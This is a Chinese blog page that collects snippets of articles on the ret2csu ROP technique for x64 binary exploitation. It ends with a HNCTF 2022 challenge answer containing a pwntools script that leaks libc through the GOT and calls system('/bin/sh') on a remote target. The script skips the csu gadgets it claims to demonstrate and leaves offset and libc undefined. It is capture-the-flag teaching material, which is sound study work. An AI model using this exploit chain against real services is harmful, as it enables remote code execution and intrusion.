ret2csu

最新推荐文章于 2024-08-09 02:54:28 发布
原创 最新推荐文章于 2024-08-09 02:54:28 发布 · 215 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

信息安全领域ret2csu技术在pwn利用中的实践
11-01
内容概要：本文详细介绍了“ret2csu”这一二进制漏洞利用技术，重点讲解如何利用ELF文件中的__libc_csu_init函数中的gadget构造ROP链，在无法直接控制多个寄存器的情况下实现对任意函数（如system、write）的调用。...
ret2csu的利用
zhuo1358的博客
04-19 1044
64位的动态连接文件一般有一段万能的gadget,里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值，并且还可以call我们指定的地址。可以看到上面两端汇编几乎囊括了传参的寄存器，而且还有call指令以及retn,我们可以利用这两段gadget来传参和调用，因为我们要先调用下面一段来传参，所以我们认为下面一段为gadget1,上面一段为gadget2。上面在调用了gadget1后又填充了a*8，因为寄存器是用sp指针来传参的，所以rsp要正确指向寄存器。
wikiCTF-pwn-ret2csu
Oops-re的博客
10-20 572
在 64 位程序中，函数的前 6 个参数是通过寄存器传递的，但是大多数时候，我们很难找到每一个寄存器对应的 gadgets。这时候，我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。
pwn学习笔记（9）-中级ROP--ret2csu
qq_66013948的博客
08-09 604
​ 首先是64位文件的传参方式：前六个参数是从左到右放入寄存器：rdi、rsi、rdx、rcx、r8、r9，之后的通过栈传参。​ 比如：传参函数大于7个：h->(%esp)g->(%esp)call H​ 之后反汇编一下main函数和H函数的代码​ 很明显的就是前六个参数是寄存器传参，剩下两个就是栈传参。
PWN-ret2csu
recover517的博客
12-06 703
在x64中，如果遇到函数调用需要传入3个参数，分别依赖【rdi，rsi，rdx】三个寄存器，但通过ROPgadget无法找到相关的寄存器利用链，这时，我们就要开始考虑通过调用__libc_csu_init函数来实现传递3个参数的效果，这种实现方式，称为 ret2csu
中级ROP之ret2csu
至臻求学，胸怀云月
02-22 8327
ret2csu 原理 在64位程序中，函数的前6个参数是通过寄存器传递的，但是大多数时候，我们很难找到每一个寄存器对应的gadgets。这时候，我们可以利用x64下的__libc_csu_init中的gadgets，如例二情况。 这个函数是用来对libc进行初始化操作的，而一般的程序都会调用libc函数，所以这个函数一定会存在。 下面是我在IDA摘出来的__libc_csu_init函数的汇编...
ret2csu（以ciscn_2019_s_3为例子）
菊花的老窝
05-04 535
栈迁移顾名思义就是将原来的程序栈迁移到另一个地方，使得我们可以将构造的 ROP 链完整的填入。那么想要修改栈的位置，那么就需要修改寄存器 esp 和 ebp 的值。想要修改 esp 和 ebp 的值，我们需要用到leave和ret两个 gadget。
ret2csu简单总结
ULGANOY的博客
07-11 1261
对于ret2csu的学习总结。
好好说话之ret2csu
hollk’s blog
06-22 6595
一、x64寄存器 在64位程序中，函数的前6各参数是通过寄存器传递的，可以看到rdi作为第一个参数，rsi作为第二个参数，rdx作为第三个参数，rcx作为第四个参数，r8作为第五个参数，r9作为第六个参数。也就是说在函数调用参数的时候会依次在六个寄存器中寻找，如果参数多余6个，那么就需要在栈中寻找。 63 31 ...
Mac PWN 入门系列（七）Ret2Csu
Sakura给爷pwn全场
04-03 336
Mac PWN 入门系列（七）Ret2Csu： https://www.anquanke.com/post/id/205858
高级栈溢出技术—ROP实战（ret2csu）
ChuMeng1999的博客
01-09 1176
目录预备知识关于ROP本系列rop实战题目的背景ret2csu涉及知识点实验目的实验环境实验步骤一实验步骤二实验步骤三 预备知识 关于ROP ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。 ROP是一种攻击技术，其中攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前，立即间接地执行精心挑选的指令或机器指令组。 本系列rop实战题目的背景 来自ROPEmpori
ROP Emporium ret2csu
u014377094的博客
02-18 553
现在的ROP Emporium一共有8题，后几道题相比过去的题有了一些变化，国内的新wp也是非常难找，本篇基于ROP Emporium - Ret2csu (x64) - blog.r0kithax.comhttps://blog.r0kithax.com/ctf/infosec/2020/10/20/rop-emporium-ret2csu-x64.html 这位大佬的wp进行部分的解释。 打开ida，依旧是惯例的明显栈溢出的pwnme，ret2win中我们可以看到flag是加密后文件，key文件是.
ROP_Emporium_ret2csu
Starr
03-28 494
文章目录1. ret2csu信息收集反汇编关于ret2csu利用Rop chainExp3. 参考文章 1. ret2csu 信息收集 题目只有64位版本，提供了以下文件： encrypted_flag.dat key.dat libret2csu.so ret2csu 作者提示，这个题和callme类似，调用ret2win()并提供指定的参数即可，但缺少明显的可利用的gadget。 $ file ret2csu ret2csu: ELF 64-bit LSB executable, x86-64,
从o开始的pwn学习之ret2csu
jzc020121的博客
04-09 3725
ret2csu 前置知识 X64寄存器 我们知道，64位寄存器有RAX,RBX,RCX,RDX,RDI,RSI,RBP,RSP,R8,R9,R10,R11,R12,R13,R14,R15,而rdi，rsi，rdx，rcx，r8，r9便用来传递函数的前六个参数，如多于六个，便在放到栈里。 __libc_csu_init 一般的程序都会调用libc中的函数，而此函数便是来将libc初始化的，故此函数几乎是每一个程序所必备的。 gadget 我们在构造ROP链的时候，往往会用到能够给寄存器赋值的gadget，形如
[HNCTF 2022 WEEK2]ret2csu
最新发布
12-27
### HNCTF 2022 WEEK2 ret2csu Challenge Solution #### 利用ret2csu技术实现漏洞利用 在处理`HNCTF 2022 WEEK2`的`ret2csu`挑战时，目标是通过控制程序流来调用特定函数并最终执行任意命令。此方法依赖于对`.text`段内存在的gadget链的应用以及对动态链接过程的理解。 为了完成这一攻击向量，首先需要找到合适的gadgets用于操控寄存器状态，并且能够触发`__libc_csu_init()`函数内的逻辑路径，该部分代码负责初始化全局构造器数组，在某些情况下可用于间接调用其他库函数如`write()`或`read()`等[^4]。 具体来说： - 使用`pwndbg cyclic`工具生成模式字符串并向服务端发送以定位崩溃发生的确切位置；之后借助`pattern offset`确定偏移值以便后续操作。 - 构造payload时应考虑如何填充堆栈帧使得当返回至`__libc_csu_init`时能正确设置参数传递给想要调用的目标函数（比如`puts@plt`），进而泄漏出关键内存地址信息（例如`got.plt`表项）。这些数据对于计算实际加载基址至关重要，因为它们允许我们推断出整个共享对象映射范围的位置。 - 接下来就是准备第二个阶段的有效载荷——通常是一串精心设计过的字节序列，它会被解释成机器指令从而绕过保护机制达成目的。这里可以通过泄露得到的信息调整base指针指向所需功能入口处（像`system()`）再配合伪造参数列表达到远程代码执行的效果。 ```python from pwn import * context.arch = 'amd64' elf = ELF('./vuln') io = remote('target_ip', port) # 泄露 libc 地址 rop = ROP(elf) pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0] puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] payload_leak = flat({ offset: [ pop_rdi_ret, puts_got, puts_plt, main_function_address # 返回到main或其他安全地方继续运行 ] }) io.sendlineafter(prompt, payload_leak) leaked_puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) log.success(f'Leaked puts address: {hex(leaked_puts)}') # 计算 system 和 binsh 的真实地址 libc_base = leaked_puts - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_str = next(libc.search(b'/bin/sh\x00')) + libc_base # 准备 final payload 执行 /bin/sh final_payload = flat({ offset: [ pop_rdi_ret, bin_sh_str, system_addr ] }) io.sendline(final_payload) io.interactive() ``` 上述脚本展示了如何构建一个完整的exploit流程，包括但不限于发现溢出点、获取必要的库版本细节、解析符号表条目直至最后成功获得shell访问权限[^2]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

叶叶扁舟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值